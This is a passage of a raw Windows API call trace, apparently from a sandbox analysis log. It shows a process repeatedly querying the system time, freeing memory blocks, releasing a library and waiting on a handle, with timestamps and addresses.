lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x692ad7c2, dwHighDateTime=0x1d9eb0c)) [0228.695] free (_Block=0x196ef0d1c20) [0228.695] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.696] free (_Block=0x196ef0d4e70) [0228.697] free (_Block=0x196ef0fb5e0) [0228.697] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6936c447, dwHighDateTime=0x1d9eb0c)) [0228.768] free (_Block=0x196ef0d1de0) [0228.768] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.769] free (_Block=0x196ef0d4e70) [0228.770] free (_Block=0x196ef0fbae0) [0228.770] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6936c447, dwHighDateTime=0x1d9eb0c)) [0228.776] free (_Block=0x196ef0d2040) [0228.776] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.776] free (_Block=0x196ef0d4e70) [0228.777] free (_Block=0x196ef0fb4f0) [0228.777] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.785] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x693927e7, dwHighDateTime=0x1d9eb0c)) [0228.786] free (_Block=0x196ef0d1c40) [0228.786] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.786] free (_Block=0x196ef0d4e70) [0228.786] free (_Block=0x196ef0fb4f0) [0228.787] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.792] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x693927e7, dwHighDateTime=0x1d9eb0c)) [0228.793] free (_Block=0x196ef0d1ea0) [0228.793] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.793] free (_Block=0x196ef0d4e70) [0228.794] free (_Block=0x196ef0fb4a0) [0228.794] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x693b8a73, dwHighDateTime=0x1d9eb0c)) [0228.802] free (_Block=0x196ef0d20c0) [0228.802] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.802] free (_Block=0x196ef0d4e70) [0228.803] free (_Block=0x196ef0fbcc0) [0228.803] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6949d7f3, dwHighDateTime=0x1d9eb0c)) [0228.894] free (_Block=0x196ef0d1980) [0228.894] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.894] free (_Block=0x196ef0d4e70) [0228.895] free (_Block=0x196ef0fb770) [0228.895] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6949d7f3, dwHighDateTime=0x1d9eb0c)) [0228.901] free (_Block=0x196ef0d20c0) [0228.901] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.901] free (_Block=0x196ef0d4e70) [0228.902] free (_Block=0x196ef0fb720) [0228.902] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.908] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x694c3a16, dwHighDateTime=0x1d9eb0c)) [0228.909] free (_Block=0x196ef0d1d60) [0228.909] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.909] free (_Block=0x196ef0d4e70) [0228.910] free (_Block=0x196ef0fba40) [0228.910] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x694c3a16, dwHighDateTime=0x1d9eb0c)) [0228.916] free (_Block=0x196ef0d20e0) [0228.916] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.916] free (_Block=0x196ef0d4e70) [0228.917] free (_Block=0x196ef0fb270) [0228.917] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x694e9ee3, dwHighDateTime=0x1d9eb0c)) [0228.928] free (_Block=0x196ef0d1d60) [0228.928] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.928] free (_Block=0x196ef0d4e70) [0228.929] free (_Block=0x196ef0fb860) [0228.929] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x694e9ee3, dwHighDateTime=0x1d9eb0c)) [0228.934] free (_Block=0x196ef0d1e60) [0228.935] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.935] free (_Block=0x196ef0d4e70) [0228.935] free (_Block=0x196ef0fb3b0) [0228.936] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.990] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69582629, dwHighDateTime=0x1d9eb0c)) [0228.990] free (_Block=0x196ef0d1d00) [0228.991] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0228.991] free (_Block=0x196ef0d4e70) [0228.992] free (_Block=0x196ef0fb540) [0228.992] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0228.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69582629, dwHighDateTime=0x1d9eb0c)) [0228.999] free (_Block=0x196ef0d1b40) [0228.999] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.000] free (_Block=0x196ef0d4e70) [0229.001] free (_Block=0x196ef0fbfe0) [0229.001] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.008] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x695a88cb, dwHighDateTime=0x1d9eb0c)) [0229.008] free (_Block=0x196ef0d1de0) [0229.008] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.009] free (_Block=0x196ef0d4e70) [0229.009] free (_Block=0x196ef0fc120) [0229.009] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.015] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x695a88cb, dwHighDateTime=0x1d9eb0c)) [0229.016] free (_Block=0x196ef0d1ee0) [0229.016] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.016] free (_Block=0x196ef0d4e70) [0229.017] free (_Block=0x196ef0fbae0) [0229.017] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69667353, dwHighDateTime=0x1d9eb0c)) [0229.079] free (_Block=0x196ef0d1a80) [0229.079] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.080] free (_Block=0x196ef0d4e70) [0229.081] free (_Block=0x196ef0fc170) [0229.081] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.089] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69667353, dwHighDateTime=0x1d9eb0c)) [0229.089] free (_Block=0x196ef0d1ec0) [0229.089] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.090] free (_Block=0x196ef0d4e70) [0229.090] free (_Block=0x196ef0fbae0) [0229.091] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6968d7df, dwHighDateTime=0x1d9eb0c)) [0229.097] free (_Block=0x196ef0d1cc0) [0229.097] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.098] free (_Block=0x196ef0d4e70) [0229.098] free (_Block=0x196ef0fba90) [0229.098] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.104] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6968d7df, dwHighDateTime=0x1d9eb0c)) [0229.104] free (_Block=0x196ef0d1b60) [0229.104] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.105] free (_Block=0x196ef0d4e70) [0229.105] free (_Block=0x196ef0fb220) [0229.105] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x696b3939, dwHighDateTime=0x1d9eb0c)) [0229.111] free (_Block=0x196ef0d1960) [0229.111] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.112] free (_Block=0x196ef0d4e70) [0229.112] free (_Block=0x196ef0fb680) [0229.112] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.172] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6974c1cb, dwHighDateTime=0x1d9eb0c)) [0229.173] free (_Block=0x196ef0d20a0) [0229.173] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.174] free (_Block=0x196ef0d4e70) [0229.174] free (_Block=0x196ef0fbae0) [0229.175] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6974c1cb, dwHighDateTime=0x1d9eb0c)) [0229.180] free (_Block=0x196ef0d1be0) [0229.181] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.181] free (_Block=0x196ef0d4e70) [0229.181] free (_Block=0x196ef0fbb80) [0229.182] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.188] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x697724bc, dwHighDateTime=0x1d9eb0c)) [0229.188] free (_Block=0x196ef0d1ec0) [0229.189] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.189] free (_Block=0x196ef0d4e70) [0229.190] free (_Block=0x196ef0fb4f0) [0229.190] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x697724bc, dwHighDateTime=0x1d9eb0c)) [0229.197] free (_Block=0x196ef0d1a40) [0229.197] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.197] free (_Block=0x196ef0d4e70) [0229.198] free (_Block=0x196ef0fb680) [0229.198] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69798644, dwHighDateTime=0x1d9eb0c)) [0229.205] free (_Block=0x196ef0d1c40) [0229.205] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.206] free (_Block=0x196ef0d4e70) [0229.206] free (_Block=0x196ef0fc080) [0229.206] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69798644, dwHighDateTime=0x1d9eb0c)) [0229.213] free (_Block=0x196ef0d2020) [0229.213] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.213] free (_Block=0x196ef0d4e70) [0229.214] free (_Block=0x196ef0fbdb0) [0229.214] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x698326db, dwHighDateTime=0x1d9eb0c)) [0229.270] free (_Block=0x196ef0d1e60) [0229.271] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.271] free (_Block=0x196ef0d4e70) [0229.272] free (_Block=0x196ef0fbb30) [0229.272] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x698326db, dwHighDateTime=0x1d9eb0c)) [0229.280] free (_Block=0x196ef0d1fa0) [0229.281] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.281] free (_Block=0x196ef0d4e70) [0229.282] free (_Block=0x196ef0fbb80) [0229.282] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69857293, dwHighDateTime=0x1d9eb0c)) [0229.288] free (_Block=0x196ef0d1960) [0229.288] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.289] free (_Block=0x196ef0d4e70) [0229.289] free (_Block=0x196ef0fbb80) [0229.289] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.296] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69857293, dwHighDateTime=0x1d9eb0c)) [0229.297] free (_Block=0x196ef0d1de0) [0229.297] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.298] free (_Block=0x196ef0d4e70) [0229.298] free (_Block=0x196ef0fc080) [0229.298] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.305] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6987d4dc, dwHighDateTime=0x1d9eb0c)) [0229.305] free (_Block=0x196ef0d1ac0) [0229.305] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.306] free (_Block=0x196ef0d4e70) [0229.306] free (_Block=0x196ef0fb4f0) [0229.306] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x699884f1, dwHighDateTime=0x1d9eb0c)) [0229.415] free (_Block=0x196ef0d19e0) [0229.415] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.416] free (_Block=0x196ef0d4e70) [0229.417] free (_Block=0x196ef0fbd10) [0229.417] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.423] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x699ae6f2, dwHighDateTime=0x1d9eb0c)) [0229.423] free (_Block=0x196ef0d1980) [0229.423] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.424] free (_Block=0x196ef0d4e70) [0229.424] free (_Block=0x196ef0fb630) [0229.424] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.431] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x699ae6f2, dwHighDateTime=0x1d9eb0c)) [0229.432] free (_Block=0x196ef0d1f80) [0229.432] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.433] free (_Block=0x196ef0d4e70) [0229.433] free (_Block=0x196ef0fbc20) [0229.434] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69a47171, dwHighDateTime=0x1d9eb0c)) [0229.488] free (_Block=0x196ef0d1960) [0229.488] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.489] free (_Block=0x196ef0d4e70) [0229.490] free (_Block=0x196ef0fb8b0) [0229.490] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.565] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69b05c81, dwHighDateTime=0x1d9eb0c)) [0229.565] free (_Block=0x196ef0d1fe0) [0229.566] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.566] free (_Block=0x196ef0d4e70) [0229.567] free (_Block=0x196ef0fb220) [0229.567] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.573] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69b05c81, dwHighDateTime=0x1d9eb0c)) [0229.574] free (_Block=0x196ef0d20a0) [0229.574] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.574] free (_Block=0x196ef0d4e70) [0229.575] free (_Block=0x196ef0fbe00) [0229.575] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69b2bf80, dwHighDateTime=0x1d9eb0c)) [0229.585] free (_Block=0x196ef0d20e0) [0229.585] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.586] free (_Block=0x196ef0d4e70) [0229.586] free (_Block=0x196ef0fc120) [0229.586] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69b52649, dwHighDateTime=0x1d9eb0c)) [0229.602] free (_Block=0x196ef0d2060) [0229.602] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.603] free (_Block=0x196ef0d4e70) [0229.604] free (_Block=0x196ef0fb5e0) [0229.604] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.657] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69beaace, dwHighDateTime=0x1d9eb0c)) [0229.658] free (_Block=0x196ef0d1ae0) [0229.658] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.659] free (_Block=0x196ef0d4e70) [0229.660] free (_Block=0x196ef0fba40) [0229.660] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69beaace, dwHighDateTime=0x1d9eb0c)) [0229.666] free (_Block=0x196ef0d1f20) [0229.666] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.667] free (_Block=0x196ef0d4e70) [0229.667] free (_Block=0x196ef0fb5e0) [0229.667] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69c10daa, dwHighDateTime=0x1d9eb0c)) [0229.674] free (_Block=0x196ef0d1b40) [0229.674] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.674] free (_Block=0x196ef0d4e70) [0229.675] free (_Block=0x196ef0fb3b0) [0229.675] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69c10daa, dwHighDateTime=0x1d9eb0c)) [0229.686] free (_Block=0x196ef0d1e60) [0229.686] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.686] free (_Block=0x196ef0d4e70) [0229.687] free (_Block=0x196ef0fb3b0) [0229.687] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.692] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69c36f1d, dwHighDateTime=0x1d9eb0c)) [0229.693] free (_Block=0x196ef0d1f40) [0229.693] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.693] free (_Block=0x196ef0d4e70) [0229.694] free (_Block=0x196ef0fb680) [0229.694] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69ccfcfd, dwHighDateTime=0x1d9eb0c)) [0229.752] free (_Block=0x196ef0d1f60) [0229.752] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.752] free (_Block=0x196ef0d4e70) [0229.753] free (_Block=0x196ef0fb8b0) [0229.753] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.758] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69ccfcfd, dwHighDateTime=0x1d9eb0c)) [0229.759] free (_Block=0x196ef0d1a80) [0229.759] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.759] free (_Block=0x196ef0d4e70) [0229.760] free (_Block=0x196ef0fc0d0) [0229.760] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69cf5ba5, dwHighDateTime=0x1d9eb0c)) [0229.767] free (_Block=0x196ef0d1cc0) [0229.767] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.768] free (_Block=0x196ef0d4e70) [0229.768] free (_Block=0x196ef0fb220) [0229.769] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.775] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69cf5ba5, dwHighDateTime=0x1d9eb0c)) [0229.776] free (_Block=0x196ef0d1960) [0229.776] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.776] free (_Block=0x196ef0d4e70) [0229.777] free (_Block=0x196ef0fb6d0) [0229.777] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69d1c0d3, dwHighDateTime=0x1d9eb0c)) [0229.787] free (_Block=0x196ef0d19a0) [0229.787] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.788] free (_Block=0x196ef0d4e70) [0229.788] free (_Block=0x196ef0fbb80) [0229.788] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69e00bdc, dwHighDateTime=0x1d9eb0c)) [0229.880] free (_Block=0x196ef0d2040) [0229.880] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.881] free (_Block=0x196ef0d4e70) [0229.881] free (_Block=0x196ef0fb590) [0229.881] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69e00bdc, dwHighDateTime=0x1d9eb0c)) [0229.887] free (_Block=0x196ef0d1e60) [0229.887] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.887] free (_Block=0x196ef0d4e70) [0229.888] free (_Block=0x196ef0fbfe0) [0229.888] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.893] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69e271fb, dwHighDateTime=0x1d9eb0c)) [0229.894] free (_Block=0x196ef0d1e20) [0229.894] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.894] free (_Block=0x196ef0d4e70) [0229.895] free (_Block=0x196ef0fb680) [0229.895] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69e271fb, dwHighDateTime=0x1d9eb0c)) [0229.901] free (_Block=0x196ef0d1ce0) [0229.901] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.901] free (_Block=0x196ef0d4e70) [0229.902] free (_Block=0x196ef0fbfe0) [0229.902] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.912] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69e4d3df, dwHighDateTime=0x1d9eb0c)) [0229.912] free (_Block=0x196ef0d1f60) [0229.913] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0229.913] free (_Block=0x196ef0d4e70) [0229.913] free (_Block=0x196ef0fbd10) [0229.914] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x69f31fa7, 